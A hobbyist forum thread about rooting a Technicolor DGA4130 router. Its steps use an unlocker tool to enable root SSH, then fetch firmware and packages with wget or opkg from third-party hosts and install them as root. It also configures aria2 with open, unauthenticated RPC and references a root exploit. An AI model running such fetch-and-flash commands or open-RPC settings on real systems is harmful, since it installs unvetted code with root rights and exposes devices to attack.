Post by: lofgents on October 07, 2017, 10:46:34 AM
Please would it be possible for you to do a step by step how you have got to where you are now as there  looks to be quite a few pitfalls to avoid.

Thanks
         Dave
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 07, 2017, 11:07:28 AM
Hello,
the process is always the same:
http://forum.kitz.co.uk/index.php/topic,20343.msg356084.html#msg356084
The telnet problems were coming from the WEBui files where telnet was missing, now with the 3.9 version it's fixed.


From this place : https://mega.nz/#F!Pd8TgAJA!t-Yj3SktM8dNqvoIwiWbmg
download the unlocker.exe file and the latest GUI file (actually 3.9) : GUI.tar.bz2

Now connect your PC to the DGA4130.

Your modem ip is 192.168.1.1 and to access the web interface the user/pass is: admin/admin

1) use the unlocker to enable SSH and root.
2) now that the modem is rooted there is also a new tweaked web intrerface 2.10. The SSH user/pass is root/root

As you're not yet connected to internet you have to upgrade to the latest Webui 3.9 from command line.

3) With Winscp, put the file GUI.tar.bz2 in the /tmp folder.
4) with putty type the following commands :
Quote
bzcat /tmp/GUI.tar.bz2 | tar -C / -xvf -
/etc/init.d/rootdevice force

Now enjoy your new toy.  :)

You can use the wizard to configure your modem, or configure it from the /etc/config/network file. Once the file modified do a /etc/init.d/network restart to commit the changes.


To upgrade to a new firmware:
Do it from the GUI, or manually with the command line :
Quote
sysupgrade -s /tmp/AGTEF_1.0.3_CLOSED.rbi
In this example the firmware file is located in the /tmp folder  :)

If your modem is already connected to internet, you can download + upgrade the firmware in 1 command line:
Quote
wget -P /tmp http://repository.ilpuntotecnicoeadsl.com/files/Ansuel/AGTEF/AGTEF_1.0.3_CLOSED.rbi && sysupgrade -s /tmp/AGTEF_1.0.3_CLOSED.rbi


Update the GUI :
Do it from the Gui or in command line (if you want to modify something)
Quote
wget -P /tmp http://repository.ilpuntotecnicoeadsl.com/files/Ansuel/AGTEF/GUI.tar.bz2
bzcat /tmp/GUI.tar.bz2 | tar -C / -xvf -
/etc/init.d/rootdevice force
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: lofgents on October 07, 2017, 03:19:56 PM
Thanks that worked nicely.

I have the new gui version 3.9

Software Version AGTEF_1.0.2.

Should I upgrade to a later version of software if there are any benefits if so which version and should I take it from

https://mega.nz/#F!Pd8TgAJA!t-Yj3SktM8dNqvoIwiWbmg!HF8XlKQL

Thanks for your help couldn't 'have done it without your instructions.

Dave
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 07, 2017, 03:50:32 PM
you can safely upgrade your firmware to 1.0.3 , take this file : AGTEF_1.0.3_CLOSED.rbi
i don't know what's better in that firmware version because i received it already with it. All i can say is that it's very stable.

Don't try with 1.0.4 for the moment unless you really know what you're doing.

For your information, the webui 3.x includes the latest xDSL driver from the 1.0.4 firmware. So as you are with the webui 3.9, you should not see any difference about DSL sync.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 07, 2017, 03:56:42 PM
Does anyone know what the difference is between 1.0.2 and 1.0.3? Even though it can safely be upgraded, doing so will mean that you have to unlock it again and reinstall GUI 3.9.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 07, 2017, 04:12:46 PM
there is no changelog unfortunately...But i know that both firmware 1.0.2 and 1.0.3 have the same xDSL driver (adsl_phy.bin) : A2pvbH042r.d26m
Only the 1.0.4 Firmware has a newer xDSL firmware : A2pvbH042u.d26m
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 07, 2017, 04:13:41 PM
Does anyone know what the difference is between 1.0.2 and 1.0.3? Even though it can safely be upgraded, doing so will mean that you have to unlock it again and reinstall GUI 3.9.
Fixes about library and other things...
Major changes are between 1.0.3 and 1.0.4... now should be safe to upgrade..
The technicolour version jump from 16.3 to 17.1
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 07, 2017, 04:14:40 PM
there is no changelog unfortunately...But i know that both firmware 1.0.2 and 1.0.3 have the same xDSL driver (adsl_phy.bin) : A2pvbH042r.d26m
Only the 1.0.4 Firmware has a newer xDSL firmware : A2pvbH042u.d26m
Well in gui 3.7 I upgrade the xdsl driver so should be the same
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 07, 2017, 04:23:07 PM
Yes, I can see this in my stats:

Quote
Modem/router firmware:     AnnexA version - A2pvbH042u.d26m
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 07, 2017, 04:25:16 PM
Yes, I can see this in my stats:
This driver is strange...
Worse in download
Better in upload :/
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 07, 2017, 04:39:04 PM
i didn't notice any difference between both drivers...anyway i keep a copy im my MEGA repository  :)
So anyone who wants to go back to 1.0.3 just download and replace the file in /etc/adsl/

By the way Ansuel this would be a nice feature, to let people choose the driver they want from the gui  :)
Host the adsl_phy.bin file in your repository, we click a button and it will wget and switch the file... :cool:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on October 08, 2017, 12:22:43 AM
Finally got to tinker with mine tonight got to gui 3.9 and fw 1.0.3.

I couldn't quite get connected though, sync was roughly the same as may hg612. Is there no way to set up the connection in the gui?

I tried the below config files as mentioned but think I may be going wrong. I need a username and password for my ISP but there is no vlan id etc to set up.

vpi/vci is 0,38 where does that go, also vcmux.

/etc/config/network

edit: The setup wizard seems to hang, but I can see it worked fine for you in the earlier screenshots.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 08, 2017, 01:07:16 AM
I don't understand your problem ? you can't use the setup wizard ?

(https://i.imgur.com/RVVxvjC.png)


Else if you want to do it with the config file: /etc/config/network do like this for the WAN interface:

(https://i.imgur.com/zSNnVOH.png)

More details here :
https://wiki.openwrt.org/doc/uci/network
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 08, 2017, 07:07:03 AM
I think there may be a misunderstanding here. @bilbokitz: Your connection is VDSL2, isn't it? If so you don't need VCI/VPI and vcmux. When I set mine up, the default /etc/config/network file was like the one described by shdf earlier in this thread. Here's how I have it set up:

Code: [Select]
config interface 'loopback'
        option ifname 'lo'
        option proto 'static'
        option ipaddr '127.0.0.1'
        option netmask '255.0.0.0'

config globals 'globals'
        option ula_prefix 'none'
        option default_ps '0'

config device 'waneth4'
        option type '8021q'
        option name 'waneth4'
        option macaddr '10:13:31:A1:C2:16'
        option ifname 'eth4'
        option vid '101'  <-- change to suit your ISP
        option ipv6 '0'

config device 'wanptm0'
        option type '8021q'
        option name 'wanptm0'
        option macaddr '10:13:31:A1:C2:16'
        option ifname 'ptm0'
        option vid '101'  <--- change to suit your ISP
        option ipv6 '0'

config interface 'wan'
        option auto '1'
        option proto 'pppoe'
        option demand '0'
        option username 'xxxxxxxxxxxxxxx'  <-- your PPP login username
        option password 'xxxxxxxxxxxxxxx'  <-- your PPP login password
        option macaddr '10:13:31:A1:C2:16'
        option ipv6 '0'
        option peerdns '1'
        option keepalive_adaptive '0'
        option dns_metric '0'
        option ifname 'wanptm0'pud7fros12

config config 'config'
        option wan_mode 'pppoe'

config interface 'wwan'
        option proto 'mobiled'
        option session_id '0'
        option profile '1'
        option auto '0'

config interface 'wan6'
        option proto 'dhcpv6'
        option reqopts '12 21 22 23 24 25 31 56 64 67 82 83'
        option noslaaconly '1'
        option iface_464xlat '0'
        option auto '0'
        option dns_metric '20'
        option ifname '@wan_ipv6'

config interface 'lan'
        option type 'bridge'
        option proto 'static'
        option ipaddr '192.168.1.1'
        option netmask '255.255.255.0'
        option ip6assign '64'
        option force_link '0'
        option ipv6 '0'
        option ifname 'eth0 eth1 eth2 eth3 eth5'
        list pppoerelay 'wanptm0'

config switch 'bcmsw'
        option reset '1'
        option enable_vlan '0'
        option qosimppauseenable '0'
        option jumbo '0'

config interface 'wlnet_b_24'
        option proto 'static'
        option ip6assign '64'
        option ipv6 '0'
        option ip6hint '1'
        option netmask '255.255.255.128'
        option ipaddr '192.168.168.1'
        option ifname 'wl0_1'
        option force_link '0'
        option name 'Ospiti-TIM-27378199'

config interface 'wlnet_b_5'
        option proto 'static'
        option ip6assign '64'
        option ipv6 '0'
        option ip6hint '2'
        option netmask '255.255.255.128'
        option ipaddr '192.168.168.129'
        option ifname 'wl1_1'
        option force_link '0'
        option name 'Ospiti-TIM-27378199'

config device 'wlnet_b_5eth5'
        option type '8021q'
        option name 'wl1_1'
        option enabled '1'
        option ifname 'eth5'
        option vid '3'
        option ipv6 '0'

config interface 'wan_ipv6'
        option auto '0'
        option proto 'pppoe'
        option demand '0'
        option password 'IPV6@alice6'
        option macaddr '10:13:31:A1:C2:16'
        option ipv6 '1'
        option peerdns '1'
        option keepalive_adaptive '0'
        option dns_metric '0'
        option ifname 'wanptm0'
        option username 'CP1724SADQW-101331@alice6.it'
        option metric '10'

config interface 'ipoe'
        option proto 'dhcp'
        option metric '1'
        option reqopts '1 3 6 43 51 58 59'
        option release '1'
        option neighreachabletime '1200000'
        option neighgcstaletime '2400'
        option ipv6 '1'
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 08, 2017, 09:06:32 AM
For VDSL2 with PPPOE on Vlan 101 :

(https://i.imgur.com/B6xhIk5.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on October 08, 2017, 10:36:24 AM
Thanks, the setup wizard just hangs on processing: Loading .......... for some reason which is strange as I am on 1.0.4 and 3.9 as well. Tried with Ubuntu chrome and firefox, and windows chrome and ie.

Yes VDSL 2

I had tried the config file way, I will try it again. I dont have a vlan though so do i delete that line or change it to ''

I am going to try it again just now.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 08, 2017, 10:50:28 AM
I think a VLan value of 101 will suit all BT-based ISPs (which means all UK VDSL2 ISPs).
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 08, 2017, 11:04:30 AM
All you should have to do is to set your VLAN ID and your username/pass

config device 'wanptm0'
        option type '8021q'
        option name 'wanptm0'
        option macaddr '10:13:31:A1:C2:16'
        option ifname 'ptm0'
        option vid '101'  <--- change to suit your ISP
        option ipv6 '0'

config interface 'wan'
        option auto '1'
        option proto 'pppoe'
        option demand '0'
        option username 'xxxxxxxxxxxxxxx'  <-- your PPP login username
        option password 'xxxxxxxxxxxxxxx'  <-- your PPP login password
        option macaddr '10:13:31:A1:C2:16'
        option ipv6 '0'
        option peerdns '1'
        option keepalive_adaptive '0'
        option dns_metric '0'
        option ifname 'wanptm0'

Once done, save the file and from putty, type : /etc/init.d/network restart
No need to restart the modem, if your settings are correct the @ Led on the modem should go Green after a few seconds.

[Moderator edited to correct a typo.]
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on October 08, 2017, 11:35:59 AM
I factory reset the modem and reinstalled gui 3.9 again and the setup wizard worked, maybe I omitted that step earlier. I have disabled the vlan and it connected fine, I am using the modem to reply now.

Is this a lot of fec errors for 10 mins  Downstream FEC   3197223  ?

I will disconnect now to have more of a tinker later, I have a tiled floor remove now   :'(

Thanks for the help.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 08, 2017, 01:15:15 PM
5300 FEC per seconds...i would say yes that's a lot. But you should reset the value, i noticed a lot of FEC when you're not connected to your ISP, maybe this is the cause. Reset the value and look again the result after 10 minutes...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 08, 2017, 01:32:05 PM
well lots of fec error with ginp in vdsl are very common...
here in italy we solved this by crimping the telephone cable directly to the rj 11 connector...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 08, 2017, 06:50:59 PM
Good news, it was confirmed that you can install the bittorrent client Transmission from these packages :
Quote
libevent2_2.0.22-1_brcm63xx-tch.ipk
transmission-daemon_2.84-3_brcm63xx-tch.ipk
transmission-web_2.84-3_brcm63xx-tch.ipk
They are Hosted here in the temporary repository : http://brcm63xx-tch.ddns.net/

http://brcm63xx-tch.ddns.net/base/libevent2_2.0.22-1_brcm63xx-tch.ipk
http://brcm63xx-tch.ddns.net/packages/transmission-daemon_2.84-3_brcm63xx-tch.ipk
http://brcm63xx-tch.ddns.net/packages/transmission-web_2.84-3_brcm63xx-tch.ipk

So basicaly you have to download these files in /tmp :
wget -P /tmp http://brcm63xx-tch.ddns.net/base/libevent2_2.0.22-1_brcm63xx-tch.ipk
wget -P /tmp http://brcm63xx-tch.ddns.net/packages/transmission-daemon_2.84-3_brcm63xx-tch.ipk
wget -P /tmp http://brcm63xx-tch.ddns.net/packages/transmission-web_2.84-3_brcm63xx-tch.ipk


and install them :
opkg install /tmp/libevent2_2.0.22-1_brcm63xx-tch.ipk
opkg install /tmp/transmission-daemon_2.84-3_brcm63xx-tch.ipk
opkg install /tmp/transmission-web_2.84-3_brcm63xx-tch.ipk


once done, go to /etc/config/transmission
set option enabled 1
Add your usb key path in download_dir : "/mnt/usb/USB-A1/" or "/mnt/usb/USB-A2/" depending which port you used.
example:
option download_dir '/mnt/usb/USB-A1/done'
option incomplete_dir '/mnt/usb/USB-A1/incomplete'


To start/stop/restart transmission : /etc/init.d/transmission restart/stop/restart

To access the transmission web interface : http://192.168.1.1:9091

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 08, 2017, 06:59:42 PM
Good news, it was confirmed that you can install the bittorrent client Transmission from these packages :They are Hosted here in the temporary repository : http://brcm63xx-tch.ddns.net/

http://brcm63xx-tch.ddns.net/packages/libevent2_2.0.22-1_brcm63xx-tch.ipk
http://brcm63xx-tch.ddns.net/packages/transmission-daemon_2.84-3_brcm63xx-tch.ipk
http://brcm63xx-tch.ddns.net/packages/transmission-web_2.84-3_brcm63xx-tch.ipk

So basicaly you have to download these files in /tmp :
wget -P /tmp http://brcm63xx-tch.ddns.net/packages/libevent2_2.0.22-1_brcm63xx-tch.ipk
wget -P /tmp http://brcm63xx-tch.ddns.net/packages/transmission-daemon_2.84-3_brcm63xx-tch.ipk
wget -P /tmp http://brcm63xx-tch.ddns.net/packages/transmission-web_2.84-3_brcm63xx-tch.ipk

and install them :
opkg install /tmp/libevent2_2.0.22-1_brcm63xx-tch.ipk
opkg install /tmp/transmission-daemon_2.84-3_brcm63xx-tch.ipk
opkg install /tmp/transmission-web_2.84-3_brcm63xx-tch.ipk

once done, go to /etc/config/transmission
set option enabled 1
Add the path for your downloads to your external drive/usb key

To start/stop/restart transmission : /etc/init.d/transmission restart/stop/restart

To access the transmission web interface : http://192.168.1.1:9091

 :)
Think in next update I will update the opkg file to search the package file to this link... Any problem about that?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 08, 2017, 08:07:17 PM
why not, if there is no risk to break something with an opkg update or upgrade
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on October 08, 2017, 08:15:17 PM
Sounds good, fingers crossed for openvpn soon.  :fingers:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 08, 2017, 08:25:45 PM
@roseway
you can install nano : http://brcm63xx-tch.ddns.net/packages/nano_2.4.1-1_brcm63xx-tch.ipk
which is a bit better than vi  :D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 08, 2017, 08:27:58 PM
@roseway
you can install nano : http://brcm63xx-tch.ddns.net/packages/nano_2.4.1-1_brcm63xx-tch.ipk
which is a bit better than vi  :D
can you try to install aria2? is way better than transmission...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 08, 2017, 08:39:26 PM
there is no webui-aria2 package ? or do we have to put this somewhere in the nginx docroot path : https://github.com/ziahamza/webui-aria2
and run aria2c --enable-rpc --rpc-listen-all ?
I created a folder /www/aria2 or /www/docroot/aria2 but i can't see it from http://192.168.1.1/aria2/

Ok found. i have to add this in /etc/nginx/nginx.conf
Quote
      location ^~ /aria2/ {
          index index.html;
        }

and upload all the files here.
Now i can see the interface. But from putty i have an error when i type : aria2c --enable-rpc --rpc-listen-all
Quote
root@modemtim:~# aria2c --enable-rpc --rpc-listen-all
aria2c: can't resolve symbol '_ZNSt13random_device7_M_initERKSs'
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 08, 2017, 09:30:57 PM
there is no webui-aria2 package ? or do we have to put this somewhere in the nginx docroot path : https://github.com/ziahamza/webui-aria2
and run aria2c --enable-rpc --rpc-listen-all ?
I created a folder /www/aria2 or /www/docroot/aria2 but i can't see it from http://192.168.1.1/aria2/

Ok found. i have to add this in /etc/nginx/nginx.conf
and upload all the files here.
Now i can see the interface. But from putty i have an error when i type : aria2c --enable-rpc --rpc-listen-all
Ariang is a better webui
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 08, 2017, 09:45:49 PM
actually i can't get it to start: aria2c --enable-rpc --rpc-listen-all
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 08, 2017, 10:38:57 PM
I think I probably will install nano - I was hoping that it was already there when I did the editing job, but as I said, vi was OK for a simple job.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 08, 2017, 10:44:58 PM
actually i can't get it to start: aria2c --enable-rpc --rpc-listen-all
can you try gui 3.11?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 08, 2017, 10:45:24 PM
I'm not sure that there's enough disk space for installing many extra programs:

Code: [Select]
root@modemtim:~# df
Filesystem           1K-blocks      Used Available Use% Mounted on
rootfs                   91264      6872     84392   8% /
/dev/root                24064     24064         0 100% /rom
/dev/mtdblock2           91264      6872     84392   8% /overlay
overlayfs:/overlay/bank_1
                         91264      6872     84392   8% /
root@modemtim:~#
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 08, 2017, 10:59:21 PM
I'm not sure that there's enough disk space for installing many extra programs:

Code: [Select]
root@modemtim:~# df
Filesystem           1K-blocks      Used Available Use% Mounted on
rootfs                   91264      6872     84392   8% /
/dev/root                24064     24064         0 100% /rom
/dev/mtdblock2           91264      6872     84392   8% /overlay
overlayfs:/overlay/bank_1
                         91264      6872     84392   8% /
root@modemtim:~#

well 84 mb.... is a lot of space
LOL
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 09, 2017, 06:24:36 AM
You're right, I was reading the values as bytes, not kilobytes.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: jnexkk on October 09, 2017, 01:43:22 PM
Would you recommend i get one of these as a newb? I don't mind fiddling with it if it's relatively simple.. just after a good router at a good price.
Either this or a smart  hub.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: burakkucat on October 09, 2017, 06:07:37 PM
Would you recommend i get one of these as a newb?

Welcome to the Kitz forum. :)

As we know nothing about you or your ability, I guess the test that you can apply is to see if everything written in this thread makes sense. If your honest answer is "no", then I would suggest that you consider, say, a ZyXEL VMGnnnn device.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on October 09, 2017, 07:42:06 PM
The shipping on these is ridiculous.
Sellers are wanting £30-£40 to ship.

Would there be any demand for these if I was to order a few to save on bulk shipping? The seller says he can package a max of 4. I worked it out to be about £44 a unit. I'd sell them for £50 with tracked postage. They are guaranteed to be on firmware 1.03
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: jnexkk on October 09, 2017, 08:34:12 PM
I'd love to buy one
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 09, 2017, 09:31:02 PM
last week one of the sellers on ebay told me he found a cheaper delivery with DHL.
this is the seller : https://www.ebay.fr/usr/motosauro?ul_noapp=true
you just have to tell him your country + city + zip code, to know exactly the delivery cost

Btw even for 70€ it's a great modem/router, and with a bcm63138 !

roseway, what is your impression after these few days of use? it's a good deal or not ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on October 09, 2017, 10:39:44 PM
That's the seller I was getting the quote from,
as it's €39.99 shipping for 1 unit, to any UK mainland postcode. highlands & islands likely cost more.
 
Quote from: motosauro
The 3-piece shipment costs 49.99 euros, while for 4 pieces costs 59.99 euros with courier DHL 3 days delivery, the slower carrier than 5 to 7 days does not accept weights above 3kg.
So €15 each shipping if I buy 4.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 09, 2017, 10:50:43 PM
Quote
roseway, what is your impression after these few days of use? it's a good deal or not ?

So far I would say that it compares very well with the best I've used, and it's quite a lot cheaper. I paid £62.98 for it. It's become my preferred choice.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: NewtronStar on October 09, 2017, 11:03:03 PM
So far I would say that it compares very well with the best I've used, and it's quite a lot cheaper. I paid £62.98 for it. It's become my preferred choice.

All you need now is a G.FAST line and use that Modem to make DSLstats G.Fast compatible  :idea:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 09, 2017, 11:04:56 PM
All you need now is a G.FAST line and use that Modem to make DSLstats G.Fast compatible  :idea:
also.... dslstats crash with 35b....
with gfast i think your pc will explode... as bands are 4 times more
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 10, 2017, 08:05:31 AM
HOW TO INSTALL ARIA2 and use it with a nice WEBUI interface:

aria2 (https://aria2.github.io/) is a lightweight multi-protocol & multi-source command-line download utility. It supports HTTP/HTTPS, FTP, SFTP, BitTorrent and Metalink. aria2 can be manipulated via built-in JSON-RPC and XML-RPC interfaces.

Packages installation :
opkg install http://brcm63xx-tch.ddns.net/base/libstdcpp_4.8-linaro-1_brcm63xx-tch.ipk
opkg install http://brcm63xx-tch.ddns.net/packages/aria2_1.18.7-1_brcm63xx-tch.ipk


Run this : aria2c --enable-rpc --rpc-listen-all=true --rpc-allow-origin-all --daemon=true

Now on your PC, download webui-aria2 from https://github.com/ziahamza/webui-aria2 and extract all in a folder on your PC.
in configuration.js replace localhost with your router ip (192.168.1.1)
Click the index.html file, now it should connect to Aria2.

(https://i.imgur.com/NTHzoqO.png)

All you have to do now is to configure the download directory, point it to your usb key inserted in the modem:
/mnt/usb/USB-A1/ or /mnt/usb/USB-A2/

Now you can add a list of files to download during the night, and shut down your pc  :)

To avoid rewriting your configuration each time, you can store it into a file:
create the file /root/.aria2/aria2.conf
and insert this :
Quote
enable-rpc=true
rpc-allow-origin-all=true
rpc-listen-all=true
rpc-listen-port=6800
input-file=/root/.aria2/aria2.session
save-session=/root/.aria2/aria2.session
save-session-interval=300
dir=/mnt/usb/USB-A1

Create an empty file for the session : aria2.session, and put it here: /root/.aria2/aria2.session

To start aria2 each time you restart the modem, open /etc/rc.local and add this :
aria2c --enable-rpc --rpc-listen-all=true --rpc-allow-origin-all --daemon=true

How to uninstall:
opkg remove aria2
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 10, 2017, 10:49:22 AM
Try ariang is way better than webui aria2
To install it just copy file in www from the github project

[Moderator edited to remove the verbatim quote of the preceding post.]
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 10, 2017, 11:11:26 AM
i tried already and it doesn't connect to aria2...

EDIT:
haaa i found how to configure Ariang.  :) now it connects to Aria2  :cool:

(https://i.imgur.com/Jqz6quW.png)

For those who want to try it, here is where to download it : https://github.com/mayswind/AriaNg/releases
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 10, 2017, 11:29:41 AM
Also something to try is acme.sh
And we need to find a way to unlock the gui from the wan

[Moderator edited to remove the verbatim quote of the preceding post.]
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 10, 2017, 11:43:56 AM
Please Ansuel, if you answer to the message above, no need to quote it.  ;)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 10, 2017, 11:47:05 AM
Sorry
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 10, 2017, 11:56:28 AM
Do you know why the web interface works with aria2 when it is on my PC, but doesn't connect to aria2 when it is installed on the modem ??
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 10, 2017, 12:11:49 PM
]

Are you sure that aria2c is running on the modem? Check with ps
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 10, 2017, 12:15:03 PM
of course it is runing, because i'm connected from the PC.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 10, 2017, 12:27:16 PM
Could be ngix that needs to be set
Look log it should blame about something...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: jnexkk on October 10, 2017, 01:50:21 PM
Welcome to the Kitz forum. :)

As we know nothing about you or your ability, I guess the test that you can apply is to see if everything written in this thread makes sense. If your honest answer is "no", then I would suggest that you consider, say, a ZyXEL VMGnnnn device.

Ello m8. Which ZyXEL VM model is equivalent to this one chipset wise ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 10, 2017, 03:30:25 PM
In sweden they have the Technicolor TG799vac XTREAM which seems to be the same hardware as DGA4130. i don't know if the root exploit (https://www.crc.id.au/hacking-the-technicolor-tg799vac-and-unlocking-features/) is working for this router, or if you can flash it with TFTP/Bootp. But you can find some new and used device for sale here : https://www.tradera.com/search?itemCondition=All&q=TG799VAC+XTREAM
that's the Swedish ebay.
According to XE.com 300 kr = £28

I can see a TG799TSvac for sale, the white one:
https://www.telia.se/dam/jcr:e10fa4fe-085d-46bf-921e-8c2fafdbc4b1/Router%20TG799vacxtream.pdf
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 10, 2017, 03:39:17 PM
Yes it's the same and if they have firm 16.3 and above they can be exploited...
And I would like to have a dump of that firmware
If someone could provide it...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: burakkucat on October 10, 2017, 04:47:23 PM
Ello m8. Which ZyXEL VM model is equivalent to this one chipset wise ?

Both the ZyXEL VMG1312-B10A and the ZyXEL VMG3926-B10A are Broadcom (BCM63138) based. There may also be others  . . . but those two are the ones that I can recall.

If you haven't already done so, please have a read of the very first post of this thread (http://forum.kitz.co.uk/index.php/topic,14436.msg269710.html#msg269710).
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 10, 2017, 05:08:29 PM
Both zyxel use the Broadcom 63168 (Mips based).
The 63138 is ARM based, it is more efficient and clocked at a higher speed. But this argument only makes sense for those who like to hack in the modem and install tricks in it  ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 10, 2017, 08:54:05 PM
shdf as you requested i find a way to remove the specific custom changes for TIM isp :)
https://github.com/Ansuel/tch-nginx-gui
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 10, 2017, 09:58:51 PM
Thank you Ansuel

From what i can see just after the upgrade, it still added me this in /etc/config/network

Quote
config interface 'wan_ipv6'
   option auto '0'
   option proto 'pppoe'
   option demand '0'
   option password 'IPV6@alice6'
   option ipv6 '1'
   option peerdns '1'
   option keepalive_adaptive '0'
   option dns_metric '0'
   option ifname 'wanptm0'
   option username 'CP1720TAW02-101331@alice6.it'
   option metric '10'

config interface 'ipoe'
   option proto 'dhcp'
   option metric '1'
   option reqopts '1 3 6 43 51 58 59'
   option release '1'
   option neighreachabletime '1200000'
   option neighgcstaletime '2400'
   option ipv6 '1'

config config 'config'

it enabled the CWMPD daemon...

Telnet is working, but show as disabled in the gui (this was already reported by other members in previous versions...)

Looks like something didn't work when you checked the ISP ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 10, 2017, 10:04:58 PM
sorry retry the upgrade
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 10, 2017, 10:25:48 PM
no change...same problems  :( and the gui stay on "upgrading...." so i had to refresh the page myself...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 11, 2017, 09:47:28 AM
@Ansuel: I've made an attempt to add support for profile 35b to DSLstats. See http://forum.kitz.co.uk/index.php/topic,20418.msg356523.html#msg356523
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 11, 2017, 02:55:10 PM
@roseway, someone confirmed it was working.  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 11, 2017, 03:44:38 PM
Thank you. :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 11, 2017, 04:48:48 PM
For those who want to make a good deal :
